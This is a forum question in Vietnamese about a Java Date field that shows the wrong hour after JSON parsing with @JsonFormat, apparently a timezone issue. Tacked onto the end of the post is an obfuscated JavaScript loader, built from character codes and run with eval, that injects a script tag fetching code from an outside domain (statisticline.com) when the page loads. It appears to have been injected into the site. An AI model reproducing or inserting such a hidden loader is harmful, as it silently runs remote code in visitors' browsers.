Avatar
0
Vo Thanh Vuong Beginner
Vo Thanh Vuong Beginner
Sai thời gian khi nhận time từ json
khi Em nhận data từ json model "actionTime": "2022-12-27 10:50:52" <p> dưới code em dùng: </p> <pre>@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") private Date actionTime;</pre> <p> thì nó trả về sai giờ : Tue Dec 27 17:41:25 ICT 2022 </p> <p> </p> <p> khi em debug thì nó trả như vậy. </p> <img src="https://stackask.com/wp-content/uploads/2022/12/debuggg.png" alt="" class="alignnone size-full wp-image-9174" /> <p> Sau khi em parse bên thymleaf ${#dates.format(data.actionTime, ‘dd/MM/yyyy HH:mm:ss’)} thì nó ra 2022-12-27 05:50:52 chỉ sai mỗi giờ, còn phút giây vẫn đúng ạ </p> <p> Nhờ anh xem giúp em ạvar z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/<em>674867468</em>/t); </p>
Answer